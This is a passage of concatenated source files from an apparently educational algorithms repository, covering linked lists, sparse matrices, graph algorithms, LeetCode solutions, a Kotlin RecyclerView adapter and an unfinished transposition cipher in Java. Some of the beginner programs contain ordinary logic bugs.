   (*head) = newNode;
}
/* Given a node as prev_node, insert a new node after the given node */
void insert_After(struct Node* prev_node, int new_data)
{
   //check if prev node is null
   if (prev_node == NULL) {
   cout<<"Previous node is required , it cannot be NULL";
   return;
}
   //allocate memory for new node
   struct Node* newNode = new Node;
  
   //assign data to new node
   newNode->data = new_data;
  
   //set next of newnode to next of prev node
   newNode->next = prev_node->next;
  
   //set next of prev node to newnode
   prev_node->next = newNode;
  
   //now set prev of newnode to prev node
   newNode->prev = prev_node;
  
   //set prev of new node's next to newnode
   if (newNode->next != NULL)
   newNode->next->prev = newNode;
}
  
//insert a new node at the end of the list
void insert_end(struct Node** head, int new_data)
{
   //allocate memory for node
   struct Node* newNode = new Node;
  
   struct Node* last = *head; //set last node value to head
  
   //set data for new node
   newNode->data = new_data;
  
   //new node is the last node , so set next of new node to null
   newNode->next = NULL;
  
   //check if list is empty, if yes make new node the head of list
   if (*head == NULL) {
   newNode->prev = NULL;
   *head = newNode;
    return;
}
  
//otherwise traverse the list to go to last node
while (last->next != NULL)
last = last->next;
  
//set next of last to new node
last->next = newNode;
  
//set last to prev of new node
newNode->prev = last;
return;
}
  
// This function prints contents of linked list starting from the given node
void displayList(struct Node* node) {
   struct Node* last;
  
   while (node != NULL) {
      cout<<node->data<<"<==>";
      last = node;
      node = node->next;
   }
   if(node == NULL)
   cout<<"NULL";
   }
  
//main program
int main() {
   /* Start with the empty list */
   struct Node* head = NULL;
  
   // Insert 40 as last node
   insert_end(&head, 40);
  
   // insert 20 at the head
   insert_front(&head, 20);
  
   // Insert 10 at the beginning.
   insert_front(&head, 10);
  
   // Insert 50 at the end.
   insert_end(&head, 50);
  
   // Insert 30, after 20.
   insert_After(head->next, 30);
  
   cout<<"Doubly linked list is as follows: "<<endl;
   displayList(head);
   return 0;
}
Output:

Doubly linked list is as follows:

10<==>20<==>30<==>40<==>50<==>NULL

The above program constructs a doubly linked list by inserting the nodes using three insertion methods i.e. inserting the node at the front, inserting the node at the end and inserting the node after the given node.

Next, we demonstrate the same operation as a Java implementation.

// Java Class for Doubly Linked List
class Doubly_linkedList {
   Node head; // list head
  
    /* Doubly Linked list Node*/
   class Node {
      int data;
      Node prev;
      Node next;
  
      //create a new node using constructor
      Node(int d) { data = d; }
   }
  
// insert a node at the front of the list
public void insert_front(int new_data)
{
   /* 1. allocate node
   * 2. put in the data */
   Node new_Node = new Node(new_data);
  
   /* 3. Make next of new node as head and previous as NULL */
   new_Node.next = head;
   new_Node.prev = null;
  
   /* 4. change prev of head node to new node */
   if (head != null)
   head.prev = new_Node;
  
   /* 5. move the head to point to the new node */
   head = new_Node;
}
//insert a node after the given prev node
public void Insert_After(Node prev_Node, int new_data)
{
   //check that prev node is not null
   if (prev_Node == null) {
   System.out.println("The previous node is required,it cannot be NULL ");
   return;
}
  
   //allocate new node and set it to data
   Node newNode = new Node(new_data);
  
   //set next of newNode as next of prev node
   newNode.next = prev_Node.next;
  
   //set new node to next of prev node
   prev_Node.next = newNode;
  
   //set prev of newNode as prev node
   newNode.prev = prev_Node;
  
   //set prev of new node's next to newnode
   if (newNode.next != null)
   newNode.next.prev = newNode;
}
  
// Add a node at the end of the list
void insert_end(int new_data)   {
   //allocate the node and set the data
   Node newNode = new Node(new_data);
   Node last = head; //set last as the head
   //set next of new node to null since its the last node
   newNode.next = null;
  
   //set new node as head if the list is null
   if (head == null) {
      newNode.prev = null;
      head = newNode;
      return;
   }
   //if list is not null then traverse it till the last node and set last next to last
   while (last.next != null)
   last = last.next;
  
   last.next = newNode;           //set last next to new node
  
   newNode.prev = last;           //set last as prev of new node
}
// display the contents of linked list starting from the given node
public void displaylist(Node node)
{
   Node last = null;
   while (node != null) {
      System.out.print(node.data + "<==>");
      last = node;
      node = node.next;
   }
   if(node == null)
   System.out.print("null");
   System.out.println();
  
   }
}
class Main{
   public static void main(String[] args)
      {
      /* Start with the empty list */
      Doubly_linkedList dll = new Doubly_linkedList();
  
      // Insert 40.
      dll.insert_end(40);
  
      // Insert 20 at the beginning.
      dll.insert_front(20);
  
      // Insert 10 at the beginning.
      dll.insert_front(10);
  
      // Insert 50 at the end.
      dll.insert_end(50);
  
      // Insert 30, after 20.
      dll.Insert_After(dll.head.next, 30);
  
      System.out.println("Doubly linked list created is as follows: ");
      dll.displaylist(dll.head);
      }
}


<|start_filename|>C/Sparse Matrix.c<|end_filename|>
// C program for Sparse Matrix Representation 
// using Linked Lists 
// Copyright @Agarwal-Kritik
#include<stdio.h> 
#include<stdlib.h> 

// Node to represent sparse matrix 
struct Node 
{ 
	int value; 
	int row_position; 
	int column_postion; 
	struct Node *next; 
}; 

// My Stylizing Watermark //

void second(void)
{
	system("cls");
	printf("\n=====================================================================================================================================");
	printf("\n\n\t\tDeveloped By:-");
	printf("\n\t\t\t    __  ___           __      __                   ");
	printf("\n\t\t\t|_/|__)| | ||_/   /\\ / _  /\\ |__)|  | /\\ |     ");
	printf("\n\t\t\t| \\| \\ | | || \\  /--\\\\__)/--\\| \\ |/\\|/--\\|__ ");
	printf("\n=====================================================================================================================================\n");
}

// Function to create new node 
void create_new_node(struct Node** start, int non_zero_element, 
					int row_index, int column_index ) 
{ 
	struct Node *temp, *r; 
	temp = *start; 
	if (temp == NULL) 
	{ 
		// Create new node dynamically 
		temp = (struct Node *) malloc (sizeof(struct Node)); 
		temp->value = non_zero_element; 
		temp->row_position = row_index; 
		temp->column_postion = column_index; 
		temp->next = NULL; 
		*start = temp; 

	} 
	else
	{ 
		while (temp->next != NULL) 
			temp = temp->next; 

		// Create new node dynamically 
		r = (struct Node *) malloc (sizeof(struct Node)); 
		r->value = non_zero_element; 
		r->row_position = row_index; 
		r->column_postion = column_index; 
		r->next = NULL; 
		temp->next = r; 

	} 
} 

/* Function to delete the entire linked list */
void deleteList(struct Node** start) 
{ 
   /* deref start to get the real head */
   struct Node* current = *start; 
   struct Node* next; 
  
   while (current != NULL)  
   { 
       next = current->next; 
       free(current); 
       current = next; 
   } 
   /* deref start to affect the real head back 
      in the caller. */
   *start = NULL; 
} 

// This function prints contents of linked list 
// starting from start 
void PrintList(struct Node* start) 
{ 
	struct Node *temp, *r, *s; 
	temp = r = s = start; 

	printf("\n\t\t\t\t row_position: "); 
	while(temp != NULL) 
	{ 
		printf(" %d ", temp->row_position); 
		temp = temp->next; 
	} 
	printf("\n"); 

	printf("\n\t\t\t\t column_postion: "); 
	while(r != NULL) 
	{ 
		printf(" %d ", r->column_postion); 
		r = r->next; 
	} 
	printf("\n"); 
	printf("\n\t\t\t\t Value: "); 
	while(s != NULL) 
	{ 
		printf(" %d ", s->value); 
		s = s->next; 
	} 
	printf("\n"); 
} 


// Driver of the program 
void main() 
{ 
	// Assume 4x5 sparse matrix 
	second(); int k;
	int sparseMatric[4][5] = 
	{ 
		{0 , 0 , 3 , 0 , 4 }, 
		{0 , 0 , 5 , 7 , 0 }, 
		{0 , 0 , 0 , 0 , 0 }, 
		{0 , 2 , 6 , 0 , 0 } 
	}; 
	/* Start with the empty list */
	struct Node* start = NULL;
	printf("\n\t\t\t\t Welcome To Sparse Matrix Representation \n");
	printf("\n\t\t\t\t 1. Create dynamically \n\t\t\t\t 2. Print \n\t\t\t\t 3. Erase \n\t\t\t\t 0. Exit");
	while(1){
	printf("\n\t\t\t\t Choose your option: ");
	scanf("%d",&k);
	switch(k){
	case 1:
	 
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 5; j++) {
			// Pass only those values which are non - zero 
			if (sparseMatric[i][j] != 0) 
				create_new_node(&start, sparseMatric[i][j], i, j); 
		}
	}
	break;
	case 2:
	PrintList(start); 
	break;
	case 3:
	deleteList(&start);
	printf("\n\t\t\t\t Successfully Deleted!!");
	break;
	case 0:
	exit(0);
	default:
	printf("\n\t\t\t\tWrong Choice!!\n");
	}
	}

} 


<|start_filename|>CPP/Leet Code Solutions/single-number/single-number.cpp<|end_filename|>
class Solution {
public:
    int singleNumber(vector<int>& nums) {
        if(nums.size()==1){
            return nums[0];
        }
        set<int> nums_set(nums.begin(), nums.end());
        int set_sum = 0;
        int total_sum = 0;
        for(int x:nums_set){
            set_sum += x;
        }
        for(int x:nums){
            total_sum += x;
        }
        int single_num = 2*set_sum - total_sum;
        return single_num;
        
    }
};

<|start_filename|>Java/RotateMatrix.java<|end_filename|>
class RotateMatrix {
  
    static void rotate(int matrix[][]) {
      
        //swapping
        for(int i=0; i<matrix.length; i++) {
            for(int j= i; j<matrix[i].length; j++) {
                int temp= matrix[i][j];
                matrix[i][j]=matrix[j][i];
                matrix[j][i]=temp;
            }
        }
        
        //interchanging the rows to get output matrix
        for(int i=0; i<matrix.length/2; i++) {
            for(int j=0; j<matrix[i].length; j++) {
                int temp= matrix[i][j];
                matrix[i][j]= matrix[matrix.length-i-1][j];
                matrix[matrix.length-i-1][j]= temp;
            }
        }
    }
}


<|start_filename|>CPP/SubsetWithGivenDiff.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int dp[20001][20001];

int countSubsets(int arr[], int n, int sum)
{
	if (dp[n][sum] != -1)
		return dp[n][sum];
	// base case
	if (sum == 0)
		return 1;
	if (n == 0)
		return 0;
	if (arr[n - 1] <= sum)
		return dp[n][sum] = countSubsets(arr, n - 1, sum - arr[n - 1]) + countSubsets(arr, n - 1, sum);
		
	return dp[n][sum] = countSubsets(arr, n - 1, sum);
}

int subsetsDiff(int arr[], int n, int diff)
{
	int arr_sum = 0;
	// sum of the array
	for (int i = 0; i < n; i++)
		arr_sum += arr[i];
    /*
    Let there be two subsets with sum s1 and s2 respectively
	s1 + s2 = arr_sum
	s1 - s2 = diff
	so solving the above equations, we get:
	s1 = (diff + arr_sum)/2
	Therefore, we will find number of subsets with sum as s1
    */
	int sum = (diff + arr_sum) / 2;
	
	return countSubsets(arr, n, sum);
}

int main()
{
	// dp table
	memset(dp, -1, sizeof(dp));
	int n, diff; 
	cin >> n >> diff;
	int arr[n];
	for (int i = 0; i < n; i++)
	{
		cin >> arr[i];
	}

	cout << subsetsDiff(arr, n, diff);
	
	return 0;
}


<|start_filename|>Java/binarySearchQuestion/infinteArrayQueation.java<|end_filename|>
package com.binarySearchQuestion;
//https://www.geeksforgeeks.org/find-position-element-sorted-array-infinite-numbers/
public class infinteArrayQueation {
    public static void main(String[] args) {
int [] arr ={1,2,3,4,5,6,7,8,9};
int target = 6;
        System.out.println(ans(arr,target));
    }
   static int ans (int[] arr,int target){
        int s = 0;
        int e = 1;
        while(target>arr[e]){
         int  news = e+1;
         e = e + (e-s + 1)*2;
         s = news;
        }
     return search(arr,target,s,e);
    }
    static int search(int[] arr,int traget,int s,int e) {
        while (s <= e) {
            int mid = s + (e - s) / 2;
            if (traget < arr[mid]) {
                e = mid - 1;
            } else if (traget > arr[mid]) {
                s = mid + 1;
            } else if (traget == arr[mid]) {
                return mid;
            }
        }
        return -1;
    }
}

<|start_filename|>CPP/arrayreversal.cpp<|end_filename|>
#include<iostream>
using namespace std;
int main(){
    int size;
    cout << "Enter the size of the array: " << endl;
    cin >> size;
    int *array = new int[size];
    cout << "Enter the elements of the array: " << endl;
    for(int i = 0; i < size; i++){
        cin >> array[i];
    }
    int *b = new int[size];
    
    for(int i = 0; i < size; i++){
        b[i] = array[size-1-i];
    }
    delete[] array;
    array = b;
    
    cout << "The reversed array is: " << endl;
    for(int i = 0; i < size; i++){
        cout << array[i] << " ";
    }
    delete[] b;
    return 0;
}

<|start_filename|>Android/Retrofit demo/app/src/main/java/com/example/retrofittut/TodoAdapter.kt<|end_filename|>
package com.example.retrofittut

import android.view.LayoutInflater
import android.view.ViewGroup
import androidx.recyclerview.widget.AsyncListDiffer
import androidx.recyclerview.widget.DiffUtil
import androidx.recyclerview.widget.RecyclerView
import com.example.retrofittut.databinding.IteaTodosBinding

class TodoAdapter : RecyclerView.Adapter<TodoAdapter.TodoViewHolder>() {

    inner class TodoViewHolder(val binding: IteaTodosBinding):RecyclerView.ViewHolder(binding.root)

    private val diffCallback = object : DiffUtil.ItemCallback<Todo>() {
        override fun areItemsTheSame(oldItem: Todo, newItem: Todo): Boolean {
            return oldItem.id == newItem.id
        }

        override fun areContentsTheSame(oldItem: Todo, newItem: Todo): Boolean {
            return oldItem == newItem
        }
    }

        private val differ = AsyncListDiffer(this, diffCallback)
        var todos: List<Todo>
            get() = differ.currentList
            set(value) { differ.submitList(value) }

    override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): TodoViewHolder {
        return TodoViewHolder(IteaTodosBinding.inflate(
                LayoutInflater.from(parent.context),
                parent,
                false
        ))
    }

    override fun onBindViewHolder(holder: TodoViewHolder, position: Int) {
        holder.binding.apply {
             val todo = todos[position]
            tvTitle.text = todo.title
            checkBox.isChecked = todo.completed
        }
    }

    override fun getItemCount(): Int {
        return todos.size
    }


}

<|start_filename|>CPP/Data Structures/Implementation-of-LinkedList.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

struct Node
{
    int data;
    Node *next;
    Node(int x)
    {
        data = x;
        next = NULL;
    }
};
Node *insertend(Node *head, int data)
{
    if (head == NULL || head->next == NULL)
    {
        return head;
    }
    Node *temp = new Node(data);
    Node *curr = head;
    while (curr->next != NULL)
    {
        curr = curr->next;
    }
    curr->next = temp;
    temp->next = NULL;
    return head;
}
void show(Node *head)
{
    Node *curr = head;
    while (curr != NULL)
    {
        cout << curr->data << " ";
        curr = curr->next;
    }
}

int main()
{
    Node *head = new Node(10);
    Node *temp1 = new Node(20);
    Node *temp2 = new Node(30);
    head->next = temp1;
    temp1->next = temp2;
    cout << "Initial List : ";
    show(head);
    cout << endl;
    cout << "No of values to be inserted : ";
    int n;
    cin >> n;
    cout << "Enter the values : ";
    for (int i = 0; i < n; i++)
    {
        int data;
        cin >> data;
        head = insertend(head, data);
    }

    cout << "List after addition : ";
    show(head);
}

<|start_filename|>CPP/Data Structures/Hashmap/node.h<|end_filename|>
#include<iostream>
#include <string>
using namespace std;

template <typename t>
class node {
    public:
    string key;
    t value;
    node <t> * next;
    
    node(string key,  t value){
        this -> key = key;
        this -> value = value;
        next = NULL;
    }
    
    ~node(){
        delete next;
    }
};

<|start_filename|>CPP/Data Structures/math/gcd.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;
int gcdfn(int a, int b)
{
    int res=min(a,b);
    while(res>0)
    {
        if(a%res==0 && b%res==0)
        break;
        res--;
    }
    return res;
}
int main()
{
    int a=200 , b=100;
    cout<<gcdfn(a,b);
}

<|start_filename|>CPP/Data Structures/FloydWarshall.cpp<|end_filename|>
#include <iostream>
using namespace std;

#define V 4 //No of vertices

void floyd_warshall(int graph[V][V])
{
    int dist[V][V];

    //Assign all values of graph to allPairs_SP
    for (int i = 0; i < V; ++i)
        for (int j = 0; j < V; ++j)
            dist[i][j] = graph[i][j];

    //Find all pairs shortest path by trying all possible paths
    for (int k = 0; k < V; ++k)         //Try all intermediate nodes
        for (int i = 0; i < V; ++i)     //Try for all possible starting position
            for (int j = 0; j < V; ++j) //Try for all possible ending position
            {
                if (dist[i][k] == INT_MAX || dist[k][j] == INT_MAX) //SKIP if K is unreachable from i or j is unreachable from k
                    continue;
                else if (dist[i][k] + dist[k][j] < dist[i][j]) //Check if new distance is shorter via vertex K
                    dist[i][j] = dist[i][k] + dist[k][j];
            }

    //Check for negative edge weight cycle
    for (int i = 0; i < V; ++i)
        if (dist[i][i] < 0)
        {
            cout << "Negative edge weight cycle is present\n";
            return;
        }

    //Print Shortest Path Graph
    //(Values printed as INT_MAX defines there is no path)
    for (int i = 0; i < V; ++i)
    {
        for (int j = 0; j < V; ++j)
            cout << i << " to " << j << " distance is " << dist[i][j] << "\n";
        cout << "=================================\n";
    }
}

int main()
{
    int graph[V][V] = {{0, 3, INT_MAX, 5},
                       {2, 0, INT_MAX, 8},
                       {INT_MAX, 1, 0, INT_MAX},
                       {INT_MAX, INT_MAX, 2}};

    floyd_warshall(graph);
    return 0;
}

<|start_filename|>DSA/Graphs/tarjan_scc.cpp<|end_filename|>
/** A strongly connected component of a graph is a subgraph 
 * such that all vertices of the subgraph are connected to each other, 
 * means we can reach every other vertices in the subgraph from any vertices **/

/** Tarjan's SCC algorithm uses stack to keep track of the nodes while we are visiting
 * such that all the nodes of which we have explored the neighbours, we will first push
 * them in the stack and when it is completed, we pop them one by one **/

/** We will also use the concept of low-link values, while giving the nodes initially
 * id == low_link, if the current has a low-link value equal to id, then it can be
 * the start of a SCC, but we can't be sure **/

#include <bits/stdc++.h>
using namespace std;

const int UNVISITED = -1;
int id = 0;     // to give the nodes unique id
int cntSCC = 0; // no. of SCCs

int n = 8; // no. of nodes in the graph

vector<int> ids(8, 0);
vector<int> low_link(8, 0);
vector<bool> onStack(8, 0); // to keep track of which element is currently on stack

stack<int> st;

void dfs(int at, vector<vector<int>> adj)
{
    // add the current node to the stack
    st.push(at);
    onStack[at] = true;

    // first give ids == low link value
    ids[at] = low_link[at] = id++;

    for (auto to : adj[at])
    {
        if (ids[to] == UNVISITED)
            dfs(to, adj);

        // if the current element is on the stack, we update the low link
        // value
        if (onStack[to])
            low_link[at] = min(low_link[to], low_link[at]);

        // we have visited all the neighbour of the current node
        // now we will see if lowlink of current equals id, and pop off the stack

        if (ids[at] == low_link[at])
        {
            while (!st.empty())
            {
                int node = st.top();
                st.pop();

                // remove the curr node from stack
                onStack[node] = false;
                low_link[node] = ids[at];

                if (node == at)
                    break;
            }
            cntSCC++;
        }
    }
}

void findSCC(vector<vector<int>> adj)
{
    for (int i = 0; i < n; i++)
        ids[i] = UNVISITED;

    for (int i = 0; i < n; i++)
    {
        if (ids[i] == UNVISITED)
            dfs(i, adj);
    }
}

// all the nodes which have ids == low_Link, will now be in a strongly connected comp

int main()
{
    int e;
    cout << "Enter no. nodes and edges ";
    cin >> e;

    cout << "\nEnter the graph\n";

    vector<vector<int>> adj(8);
    for (int i = 0; i < e; i++)
    {
        int from, to;
        cin >> from >> to;
        adj[from].push_back(to);
    }

    findSCC(adj);
    cout << "No. of strongly connected components are ";
    cout << cntSCC << endl;
}

<|start_filename|>CPP/move-zeroes.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

void moveZeroes(vector<int>& nums) {
    int j=0;
    for (int i=0;i<nums.size();i++){
        if(nums[i]!=0){
            nums[j]=nums[i];
            j++;
        }
    }
    while(j<nums.size()){
        nums[j++]=0;
    }
}

int main(){
    vector <int> nums={0,1,0,3,12};
    moveZeroes(nums);
    for(auto x:nums){
        cout<<x<<"\t";
    }
    return 0;
}

<|start_filename|>DSA/Notes and examples/char_array.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    char arr[10][10];
    arr[0][0]='a';
    arr[1][2]='b';
    cout<<arr[0][0];
    cout<<arr[1][2]<<endl;
}

/*
#include <bits/stdc++.h>
using namespace std;
int main() {
    int n;
    cin>>n;
    char a[100][100];
    cin.get();
    for(int i=0;i<n;i++)
    cin.getline(a[i],100);
     for(int i=0;i<n;i++)
     cout<<a[i]<<endl;
}
*/


<|start_filename|>DSA/Strings/check_subsets.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
   string s="avengers";
   string str="vers";

    //using 2 pointer method
    int i=s.length()-1;
    int j=str.length()-1;

    while(i<=0 and j<=0)
    {
        if(s[i]==s[j])
        {
            i--;
            j--;
        }
        else
        i--;
    }

    if(j==-1)
    cout<<"yes";
    else
    cout<<"no";
}


<|start_filename|>CPP/Leet Code Solutions/kth-smallest-element-in-a-sorted-matrix/kth-smallest-element-in-a-sorted-matrix.cpp<|end_filename|>
class Solution {
public:
    int kthSmallest(vector<vector<int>>& matrix, int k) {
        vector<int> all_nums;
        for(int i=0;i<matrix.size();i++){
            for(int j=0;j<matrix[i].size();j++){
                all_nums.push_back(matrix[i][j]);
            }
        }
        sort(all_nums.begin(),all_nums.end());
        return all_nums[k-1];
    }
};

<|start_filename|>CPP/Second Largest Element.cpp<|end_filename|>
//Second largest element

#include<iostream>
using namespace std;

void bsort(int arr[],int n)
{
    int t;
    for(int i=0;i<n-1;i++)
    {
        for(int j=0;j<n-i;j++)
        {
            if(arr[j]>arr[j+1])
            {
                t=arr[j];
                arr[j]=arr[j+1];
                arr[j+1]=t;
            }
        }
    }
    
    cout<<"Second largest element :"<<arr[n-2];
}

int main()
{
    cout<<"Enter size of array :";
    int n;
    cin>>n;
    int arr[n];
    
    cout<<"Enter array elements :";
    for(int i=0;i<n;i++)
    {
        cin>>arr[i];
    }
    
    bsort(arr,n);
    
}


<|start_filename|>DSA/Notes and examples/prime_factorisation.cpp<|end_filename|>
#include <iostream>
using namespace std;
int main() {
   int n,i;
   cin>>n;
    for(i=2;i<=n;i++)
    {
        if(n%i==0)
        {
            while(n%i==0)
            {
                n=n/i;
                //i++;
            }
        }
        cout<<i<<" ";
    }

}



<|start_filename|>DSA/Graphs/bellman_ford.cpp<|end_filename|>
/** Bellman ford is slower than dijkstra as it has runtime of O((e+v)logv)
 * but it is helpful in detecting a negative cycle, and the nodes which are reachable
 * from the negative cycle **/

#include <bits/stdc++.h>
#define pd pair<int, int>

using namespace std;

vector<int> bellmanFord(vector<vector<pd>> adj, int start, int vertices)
{

    vector<int> dist(vertices, INT_MAX);
    dist[start] = 0;

    // For each vertex, apply relaxation for all the edges
    for (int v = 0; v < vertices - 1; v++)
    {
        for (int edges = 0; edges < adj.size(); edges++)
        {
            for (auto edge : adj[edges])
            {
                if (dist[edges] + edge.second < dist[edge.first])
                    dist[edge.first] = dist[edges] + edge.second;
            }
        }
    }

    // Run algorithm a second time to detect which nodes are part
    // of a negative cycle. A negative cycle has occurred if we
    // can find a better path beyond the optimal solution.
    for (int v = 0; v < vertices - 1; v++)
    {
        for (int edges = 0; edges < adj.size(); edges++)
        {
            for (auto edge : adj[edges])
            {
                if (dist[edges] + edge.second < dist[edge.first])
                    dist[edge.first] = INT_MIN;
            }
        }
    }

    return dist;
}

int main()
{
    int n, e;
    cout << "Enter no. nodes and edges ";
    cin >> n >> e;

    cout << "\nEnter the graph\n";

    vector<vector<pd>> adj(n);
    for (int i = 0; i < e; i++)
    {
        int from, to, weight;
        cin >> from >> to >> weight;
        adj[from].push_back({to, weight});
    }

    int start;
    cout << "\nEnter start node ";
    cin >> start;

    cout << "\nDistance from every " << start << " to every node is \n";
    vector<int> dist = bellmanFord(adj, start, n);
    for (auto x : dist)
        cout << x << " ";
    cout << endl;
}

<|start_filename|>CPP/djikstra.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;
int main()
{
	int v,e;
	cin>>v>>e;
	vector< pair<int,int> > adj[v];
	for(int i=0;i<e;i++)
	{
		int src,dest,w;
		cin>>src>>dest>>w;
		adj[src].push_back({dest,w});
	}
	int src;
	cin>>src;
	vector<bool> sptset;
	vector<int>dist;
	for(int i=0;i<v;i++)
	{
		dist.push_back(INT_MAX);
	}
	dist[src]=0;
	for(int i=0;i<v;i++)
	{
		sptset.push_back(false);
	}
	for(int count=0;count<(v-1);count++)
	{
		vector<int>:: iterator it = min_element(dist.begin(),dist.end());
		int idx = it - dist.begin();
		sptset[idx] = true;
		for(int i = 0;i<adj[idx].size();i++)
		{
			int v = (adj[idx][i]).first;
			int w = (adj[idx][i]).second;
			if((sptset[v]==false) && dist[v]>dist[idx]+w)
			{
				dist[v] = dist[idx] + w;
			}
		}
	}
	for(int i=0;i<v;i++)cout<<dist[i]<<' ';
		cout<<endl;
}

<|start_filename|>CPP/Leet Code Solutions/longest common subsequence/longest_common_subs.cpp<|end_filename|>
class Solution {
public:
    vector<vector<int>> dp;
    
    int dfs(string& text1, string& text2, int pos1, int pos2){
        if(pos1 == text1.length() or pos2 == text2.length())
            return 0;
        
        if(dp[pos1][pos2] != -1)
            return dp[pos1][pos2];
        
        if(text1[pos1] == text2[pos2])
            return  dp[pos1][pos2] = 1 + dfs(text1, text2, pos1+1, pos2+1);
        
        return  dp[pos1][pos2] = max(
            dfs(text1, text2, pos1+1, pos2), 
            dfs(text1, text2, pos1, pos2+1)
        );
    }
    
    int longestCommonSubsequence(string text1, string text2) {
        dp.resize(text1.length()+1, vector<int>(text2.length()+1, -1));
        return dfs(text1, text2, 0, 0);
    }
};


<|start_filename|>hexclock/css/main.css<|end_filename|>
body {
    color: white;
    left: 50%;
    position: fixed;
    text-align: center;
    top: 50%;
    transform: translate(-50%, -50%);
}

#clock {
    font-family: 'Roboto', sans-serif;
    font-size: 10vw;
}

#hex-color {
    font-family: 'Roboto', sans-serif;
    font-size: 3vw;
}

#about {
    font-family: 'Lato', sans-serif;
    font-size: 2vw;
}

<|start_filename|>CPP/sort_frequency.cpp<|end_filename|>
// Sort elements by frequency. If two elements have same
// count, then put the elements that appears first
#include <bits/stdc++.h>
using namespace std;

// Used for sorting
struct ele {
	int count, index, val;
};

// Used for sorting by value
bool mycomp(struct ele a, struct ele b)
{
	return (a.val < b.val);
}

// Used for sorting by frequency. And if frequency is same,
// then by appearance
bool mycomp2(struct ele a, struct ele b)
{
	if (a.count != b.count)
		return (a.count < b.count);
	else
		return a.index > b.index;
}

void sortByFrequency(int arr[], int n)
{
	struct ele element[n];
	for (int i = 0; i < n; i++) {

		// Fill Indexes
		element[i].index = i;

		// Initialize counts as 0
		element[i].count = 0;

		// Fill values in structure
		// elements
		element[i].val = arr[i];
	}

	/* Sort the structure elements according to value,
	we used stable sort so relative order is maintained.
	*/
	stable_sort(element, element + n, mycomp);

	/* initialize count of first element as 1 */
	element[0].count = 1;

	/* Count occurrences of remaining elements */
	for (int i = 1; i < n; i++) {

		if (element[i].val == element[i - 1].val) {
			element[i].count += element[i - 1].count + 1;

			/* Set count of previous element as -1, we are
			doing this because we'll again sort on the
			basis of counts (if counts are equal than on
			the basis of index)*/
			element[i - 1].count = -1;

			/* Retain the first index (Remember first index
			is always present in the first duplicate we
			used stable sort. */
			element[i].index = element[i - 1].index;
		}

		/* Else If previous element is not equal to current
		so set the count to 1 */
		else
			element[i].count = 1;
	}

	/* Now we have counts and first index for each element
	so now sort on the basis of count and in case of tie
	use index to sort.*/
	stable_sort(element, element + n, mycomp2);
	for (int i = n - 1, index = 0; i >= 0; i--)
		if (element[i].count != -1)
			for (int j = 0; j < element[i].count; j++)
				arr[index++] = element[i].val;
}

// Driver program
int main()
{
	int arr[] = { 2, 5, 2, 6, -1, 9999999, 5, 8, 8, 8 };
	int n = sizeof(arr) / sizeof(arr[0]);

	sortByFrequency(arr, n);

	for (int i = 0; i < n; i++)
		cout << arr[i] << " ";
	return 0;
}


<|start_filename|>Java/TranspositionCipher/Main.java<|end_filename|>
import static java.lang.System.*;//as it's static we don't need to write System repeatedly
import java.util.*;
import java.io.*;
// import ciphers.transposition_cipher.TranspositionCipher; : not working

/**
 * Mini-Project for implementing different crypto algorithms
 */

class TranspositionCipher {

    public boolean checkKey(String key) {

        try {
            // check key length
            if (!(key.length() < 10)) {
                throw new Exception("Key is too long. Only allow cipher keys with length up to 10.");
            }
            // will throw an exception for non-numeric value
            int keyInInt = Integer.parseInt(key);

            /*if (checkForRepeatedDigitInKey(key) && checkForMissingKeyValue(key)) {
                return true;
            }*/

            if(checkKeyDigits(key) && key.contains("0"))
            {
                return true;
            }

        } catch (NumberFormatException nfe) {
            err.println("Please enter Integer value");
        }

        catch (Exception e) {
            err.println("Exception: " + e.getMessage());
        }

        return false;
    }

    /*public static boolean checkForMissingKeyValue(String key) {
        int keyLength = key.length();

        for (int i = 0; i < keyLength; i++) {
            if (!key.contains(Integer.toString(i))) {
                System.out.println("Each digit of key must be within the range from 0 to the length of the key.");
                return false;
            }
        }
        return true;
    }

    public static boolean checkForRepeatedDigitInKey(String key) {
        // needs to check whether each number in the key is unique.
        String curDigit = "";
        for (int i = 0; i < key.length(); i++) {
            if (i < key.length() - 1) {
                curDigit = key.substring(i, i + 1);
                String restOfKey = key.substring(i + 1);
                if (restOfKey.contains(curDigit)) {
                    System.out.println("Cannot have recurring numbers.");
                    return false;
                }
            }
        }
        return true;
    }*/

    public static boolean checkKeyDigits(String key)
    {
    	int N = key.length();
    	int sum = 0;
    	int digit = 0;
    	for (int i = 0; i < N; i++)
    	{
    		digit = Integer.parseInt(Character.toString(key.charAt(i)));
    		sum += digit;
    	}
    	int expectedSum = ((N)*(N-1)/2);
    	System.out.println(Integer.toString(sum));
    	System.out.println(Integer.toString(expectedSum));
    	if(sum == expectedSum)
    		return true;
    	else
    		return false;
    }

    // function for reading a file
    public String readFromInputFile(String inputFilename) {
        String lines = "";
        String content = "";

        try {
            BufferedReader fileReader = new BufferedReader(new FileReader(inputFilename));

            lines = fileReader.readLine();

            while (lines != null) {
                content = content + lines;

                if ((lines = fileReader.readLine()) != null) {
                    content = content + " ";
                }
            }

            fileReader.close();
            return content;

        } catch (IOException ioe) {
            System.out.println("Error reading file.");
        }
        return lines;
    }

    public boolean writeToOutputFile(String data, String outputFilename) {

        try {
            PrintWriter pw = new PrintWriter(outputFilename);
            pw.print(data);
            pw.close();
            return true;
        } catch (IOException ioe) {
            System.out.println("Failed to write to output file.");
        }

        return false;

    }

    public String encryptUsingTransposition(String input, String key) {

        int numberOfCols = key.length();
        int numberOfRows = 0;

        if (input.length() % numberOfCols > 0) {
            numberOfRows = (input.length() / numberOfCols) + 1;
        }

        if (input.length() % numberOfCols == 0) {
            numberOfRows = input.length() / numberOfCols;
        }

        char[][] characterMap;
        characterMap = new char[numberOfRows][numberOfCols];

        for (int row = 0; row < numberOfRows; row++) {
            for (int col = 0; col < numberOfCols; col++) {
                characterMap[row][col] = ' ';
            }
        }
        int rows = 0;
        int cols = 0;

        for (int i = 0; i < input.length(); i++) {
            characterMap[rows][cols] = input.charAt(i);
            cols++;
            if (cols == numberOfCols) {
                rows++;
                cols = 0;
            }
        }

        // need to append back into a string according to the key.
